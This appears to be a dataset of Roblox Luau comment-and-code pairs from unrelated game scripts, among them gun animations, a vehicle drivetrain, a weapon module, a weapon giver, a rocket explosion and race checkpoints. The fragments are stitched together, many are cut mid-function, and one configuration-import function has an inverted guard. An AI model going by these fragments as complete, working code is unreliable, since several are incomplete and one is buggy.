ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.2)
local MagC = objs[4]:clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
wait(0.1)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play()
wait(0.75)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play()
wait(0.10)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.10)
objs[6]:WaitForChild('MagIn'):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.10)
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play()
ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, -0.684338093)}):Play()
wait(0.1)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.530990303, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.45)
TweenJoint(objs[2], nil , CFrame.new(2.1115706, -0.937148452, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.5)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(1.00409043, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.817838132, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.854931653, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(0.299306631, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.291854143, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.1)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
-- Adds a service to this provider only
|
function ServiceBag:_addServiceType(serviceType)
if not self._serviceTypesToInitializeSet then
error(("Already finished initializing, cannot add %q"):format(tostring(serviceType)))
return
end
-- Already added
if self._services[serviceType] then
return
end
-- Construct a new version of this service so we're isolated
local service = setmetatable({}, { __index = serviceType })
self._services[serviceType] = service
self:_ensureInitialization(serviceType)
end
function ServiceBag:_ensureInitialization(serviceType)
if self._initializedServiceTypeSet[serviceType] then
return
end
if self._initializing then
self._serviceTypesToInitializeSet[serviceType] = nil
self._initializedServiceTypeSet[serviceType] = true
self:_initService(serviceType)
elseif self._serviceTypesToInitializeSet then
self._serviceTypesToInitializeSet[serviceType] = true
else
error("[ServiceBag._ensureInitialization] - Cannot initialize past initializing phase ")
end
end
function ServiceBag:_initService(serviceType)
local service = assert(self._services[serviceType], "No service")
if service.Init then
local current
task.spawn(function()
current = coroutine.running()
service:Init(self)
end)
assert(coroutine.status(current) == "dead", "Initializing service yielded")
end
table.insert(self._serviceTypesToStart, serviceType)
end
|
--the animation is under the script, you can rename it but you would have to change the script.Put your anim ID where the anim is instead of mine
| |
-- return to idle if finishing an emote
|
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
local repeatAnim = currentAnim
|
--[=[
@class Signal
Signals allow events to be dispatched and handled.
For example:
```lua
local signal = Signal.new()
signal:Connect(function(msg)
print("Got message:", msg)
end)
signal:Fire("Hello world!")
```
]=]
|
local Signal = {}
Signal.__index = Signal
|
-- Private Methods
|
function init(self)
local frame = self.Frame
local maid = self._Maid
maid:Mark(frame:GetPropertyChangedSignal("Text"):Connect(function()
local mask = self._MaskType
local result = mask:Process(frame.Text):sub(1, self._MaxLength)
frame.Text = result
end))
maid:Mark(frame.FocusLost:Connect(function()
local mask = self._MaskType
if (not mask:Verify(frame.Text)) then
frame.Text = mask.Default
end
end))
end
|
-- Tracking variables for auto-throttling
|
local frameCount = 0
local frameTick = tick()
local difSegmentsPerArc = Constants.SEGMENT_PER_ARC_MAX - Constants.SEGMENT_PER_ARC_MIN
local difDistanceModifier = Constants.THROTTLE_DISTANCE_MODIFIER_MAX - Constants.THROTTLE_DISTANCE_MODIFIER_MIN
|
--REVERSE
|
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < .05 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- This function is used to set configuration values from outside configuration objects/folders
|
function BaseWeapon:importConfiguration(config)
if not config or not config:IsA("Configuration") then
for _, child in pairs(config:GetChildren()) do
if child:IsA("ValueBase") then
local valueName = child.Name
local newValue = child.Value
local oldValue = self.configValues[valueName]
self.configValues[valueName] = newValue
self:onConfigValueChanged(valueName, newValue, oldValue)
end
end
end
end
function BaseWeapon:setConfiguration(config)
self:cleanupConnection("configChildAdded", "configChildRemoved")
if not config or not config:IsA("Configuration") then
return
end
for _, child in pairs(config:GetChildren()) do
if child:IsA("ValueBase") then
self:onConfigValueAdded(child)
end
end
self.connections.configChildAdded = config.ChildAdded:Connect(function(child)
if child:IsA("ValueBase") then
self:onConfigValueAdded(child)
end
end)
self.connections.configChildRemoved = config.ChildRemoved:Connect(function(child)
if child:IsA("ValueBase") then
self:onConfigValueRemoved(child)
end
end)
end
function BaseWeapon:onChildAdded(child)
if child:IsA("Configuration") then
self:setConfiguration(child)
end
end
function BaseWeapon:onChildRemoved(child)
if child:IsA("Configuration") then
self:setConfiguration(nil)
end
end
function BaseWeapon:onConfigValueChanged(valueName, newValue, oldValue)
end
function BaseWeapon:onRenderStepped(dt)
end
function BaseWeapon:onStepped(dt)
end
function BaseWeapon:getAnimationController()
if self.animController then
if not self.instanceIsTool or (self.animController.Parent and self.animController.Parent:IsAncestorOf(self.instance)) then
return self.animController
end
end
self:setAnimationController(nil)
if self.instanceIsTool then
local humanoid = IsServer and self.instance.Parent:FindFirstChildOfClass("Humanoid") or self.instance.Parent:WaitForChild("Humanoid", math.huge)
local animController = nil
if not humanoid then
animController = self.instance.Parent:FindFirstChildOfClass("AnimationController")
end
self:setAnimationController(humanoid or animController)
return self.animController
end
end
function BaseWeapon:setAnimationController(animController)
if animController == self.animController then
return
end
self:stopAnimations()
self.animController = animController
end
function BaseWeapon:stopAnimations()
for _, track in pairs(self.animTracks) do
if track.IsPlaying then
track:Stop()
end
end
self.animTracks = {}
end
function BaseWeapon:getAnimTrack(key)
local track = self.animTracks[key]
if not track then
local animController = self:getAnimationController()
if not animController then
warn("No animation controller when trying to play ", key)
return nil
end
local animation = AnimationsFolder:FindFirstChild(key)
if not animation then
error(string.format("No such animation \"%s\" ", tostring(key)))
end
track = animController:LoadAnimation(animation)
self.animTracks[key] = track
end
return track
end
function BaseWeapon:reload(player, fromNetwork)
if
not self.equipped or
self.reloading or
not self.canReload or
self:getAmmoInWeapon() == self:getConfigValue("AmmoCapacity", 30)
then
return false
end
if not IsServer then
if self.player ~= nil and self.player ~= Players.LocalPlayer then
return
end
self.weaponsSystem.getRemoteEvent("WeaponReloadRequest"):FireServer(self.instance)
self:onReloaded(self.player)
else
self:onReloaded(player, fromNetwork)
self.weaponsSystem.getRemoteEvent("WeaponReloaded"):FireAllClients(player, self.instance)
end
end
function BaseWeapon:onReloaded(player, fromNetwork)
if fromNetwork and player == Players.LocalPlayer then -- make sure localplayer doesn't reload twice
return
end
self.reloading = true
self.canReload = false
-- Play reload animation and sound
if not IsServer then
local reloadTrackKey = self:getConfigValue("ReloadAnimation", "RifleReload")
if reloadTrackKey then
self.reloadTrack = self:getAnimTrack(reloadTrackKey)
if self.reloadTrack then
self.reloadTrack:Play()
end
end
self.curReloadSound = self:tryPlaySound("Reload", nil)
if self.curReloadSound then
self.curReloadSound.Ended:Connect(function()
self.curReloadSound = nil
end)
end
end
local reloadTime = self:getConfigValue("ReloadTime", 2)
local startTime = tick()
if self.connections.reload ~= nil then -- this prevents an endless ammo bug
return
end
self.connections.reload = RunService.Heartbeat:Connect(function()
-- Stop trying to reload if the player unequipped this weapon or reloading was canceled some other way
if not self.reloading then
if self.connections.reload then
self.connections.reload:Disconnect()
self.connections.reload = nil
end
end
-- Wait until gun finishes reloading
if tick() < startTime + reloadTime then
return
end
-- Add ammo to weapon
if self.ammoInWeaponValue then
self.ammoInWeaponValue.Value = self:getConfigValue("AmmoCapacity", 30)
end
if self.connections.reload then
self.connections.reload:Disconnect()
self.connections.reload = nil
end
self.reloading = false
self.canReload = false
end)
end
function BaseWeapon:cancelReload(player, fromNetwork)
if not self.reloading then
return
end
if fromNetwork and player == Players.LocalPlayer then
return
end
if not IsServer and not fromNetwork and player == Players.LocalPlayer then
self.weaponsSystem.getRemoteEvent("WeaponReloadCanceled"):FireServer(self.instance)
elseif IsServer and fromNetwork then
self.weaponsSystem.getRemoteEvent("WeaponReloadCanceled"):FireAllClients(player, self.instance)
end
self.reloading = false
self.canReload = true
if not IsServer and self.reloadTrack and self.reloadTrack.IsPlaying then
warn("Stopping reloadTrack")
self.reloadTrack:Stop()
end
if self.curReloadSound then
self.curReloadSound:Stop()
self.curReloadSound:Destroy()
self.curReloadSound = nil
end
end
function BaseWeapon:getAmmoInWeapon()
if self.ammoInWeaponValue then
return self.ammoInWeaponValue.Value
end
return 0
end
function BaseWeapon:useAmmo(amount)
if self.ammoInWeaponValue then
local ammoUsed = math.min(amount, self.ammoInWeaponValue.Value)
self.ammoInWeaponValue.Value = self.ammoInWeaponValue.Value - ammoUsed
self.canReload = true
return ammoUsed
else
return 0
end
end
function BaseWeapon:renderCharge()
end
return BaseWeapon
|
-----------------------------------------------------------------------------------------
--[[
Thanks for using Zed's Mesh Giver 2.0!
Instructions:
1) Find the mesh in you weapon. Generally it should be inside a brick called "Handle"
2) Copy and Paste that mesh into the scenebrick, remove the mesh currently in the scenebrick first.
3) Open up the settings folder in thsi model and edit the following settings:
- Regen Time: Time it takes for a person to be able to use the giver again.
- StartColor: Colour of the bricks that are currently blue.
- RegenColor: Colour of the current blue bricks will be turned to a different color meaning its currently regenrating.
- WeaponName: Copy and past the exact name of the weapon into the value of the WeaponName value.
4) Cut and paste the weapon into ServerStorage
5) Done!
----------------Don't edit below unless you know what you're doing--------------------------
--]]
|
SColor = script.Parent.Settings:FindFirstChild("StartColor")
RColor = script.Parent.Settings:FindFirstChild("RegenColor")
RTime = script.Parent.Settings:FindFirstChild("RegenTime")
Weapon = script.Parent.Settings:FindFirstChild("WeaponName")
Center = script.Parent.ColoredParts:FindFirstChild("TouchMe")
deb = false
Center.Touched:connect(function(part)
if part.Parent:FindFirstChild("Humanoid") then
if part.Parent.Humanoid.Health > 0 then
if game.Players:FindFirstChild(part.Parent.Name) then
if game.ServerStorage:FindFirstChild(Weapon.Value) then
if deb == false then
deb = true
for i,v in pairs (script.Parent.ColoredParts:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = RColor.Value
end
end
local wep = game.ServerStorage:FindFirstChild(Weapon.Value)
wep:Clone().Parent = game.Players:FindFirstChild(part.Parent.Name).Backpack
wait(RTime.Value)
deb = false
for i,v in pairs (script.Parent.ColoredParts:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = SColor.Value
end
end
end
else
print("Error: "..Weapon.Value.." not found in 'ServerStorage'.")
end
end
end
end
end)
|
--- These are the IDs of possible blood textures, I already set 3 up for u k
|
local blood_textures = {
176678030,
176678048,
176678086
}
|
-- initialize to idle
|
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
|
--wait()
|
local creator = script.Parent:findFirstChild("creator")
local move = script.Parent:findFirstChild("Move")
local active = true
function tagHumanoid(humanoid, creator)
if creator ~= nil then
local new_tag = creator:clone()
new_tag.Parent = humanoid
end
end
function onPlayerBlownUp(part, distance, creator)
if part.Name == "Head" then
local humanoid = part.Parent.Humanoid
tagHumanoid(humanoid, creator)
end
end
function set_Off(hit)
if active == true then
active = false
explosion = Instance.new("Explosion")
explosion.BlastRadius = 45
explosion.BlastPressure = 50000
local creator = script.Parent:findFirstChild("creator")
if creator ~= nil then
explosion.Hit:connect(function(part, distance) onPlayerBlownUp(part, distance, creator) end)
end
explosion.Position = script.Parent.Position
explosion.Parent = game.Workspace
wait()
script.Parent:remove()
end
end
script.Parent.Touched:connect(set_Off)
for i = 1,100 do
wait()
local desired = Instance.new("Vector3Value")
desired.Value = script.Parent.CFrame.lookVector * 2100
local difference = desired.Value - move.velocity
if difference.magnitude >= move.velocity.magnitude then
move.velocity = move.velocity + (difference*(0.01*i))
end
end
|
--[=[
Prop that fires when saving. Promise will resolve once saving is complete.
@prop Saving Signal<Promise>
@within DataStore
]=]
|
self.Saving = Signal.new() -- :Fire(promise)
self._maid:GiveTask(self.Saving)
task.spawn(function()
while self.Destroy do
for _=1, CHECK_DIVISION do
task.wait(AUTO_SAVE_TIME/CHECK_DIVISION)
if not self.Destroy then
break
end
end
if not self.Destroy then
break
end
-- Apply additional jitter on auto-save
task.wait(math.random(1, JITTER))
if not self.Destroy then
break
end
self:Save()
end
end)
return self
end
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function setupCheckpoints(args)
if not (activePlayer) then return end
local numLaps = 1
if #args >= 1 then
numLaps = args[1]
end
-- Player is in race
inRace = true
-- Set the number of laps in the race and use it to calc the total number
-- of checkpoints
if (numLaps and _numLaps == 0) then
_numLaps = numLaps
numCheckpoints = numCheckpoints * _numLaps
end
-- Set up checkpoints (color as not hit)
for _, checkpoint in ipairs(checkpointList) do
local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")
-- Set color of checkpoint
checkpointCollisionBody.Color = NOT_HIT_COLOR
-- Set color of checkpoint ring if one exists
local ring = checkpoint:FindFirstChild("Ring")
if ring then
ring.Color = NOT_HIT_COLOR
end
end
if not ArrowGuide then
ArrowGuide = require(script:WaitForChild("ArrowGuide"))
end
arrow = ArrowGuide.new(checkpointList)
end -- setupCheckpoints()
local function checkpointHit(args)
if not (activePlayer and inRace) then return end
local checkpointCollisionBody = false
if #args >= 1 then
checkpointCollisionBody = args[1]
else
return
end
local parent = checkpointCollisionBody.Parent
-- Mark checkpoint as hit
local hit = parent:FindFirstChild("Hit")
if not (hit) then
hit = Instance.new("BoolValue")
hit.Name = "Hit"
hit.Parent = parent
hit.Value = true
else
-- Checkpoint already hit
return
end
-- Set color of checkpoint
checkpointCollisionBody.Color = HIT_COLOR
-- Set color of checkpoint ring if one exists
local ring = checkpointCollisionBody.Parent:FindFirstChild("Ring")
if ring then
ring.Color = HIT_COLOR
end
-- Create particle effect
local particle = checkpointParticle:Clone()
local character = player.Character or player.CharacterAdded:wait()
particle.CFrame = character.PrimaryPart.CFrame
particle.Parent = character.PrimaryPart
--particle.CFrame = checkpointCollisionBody.CFrame
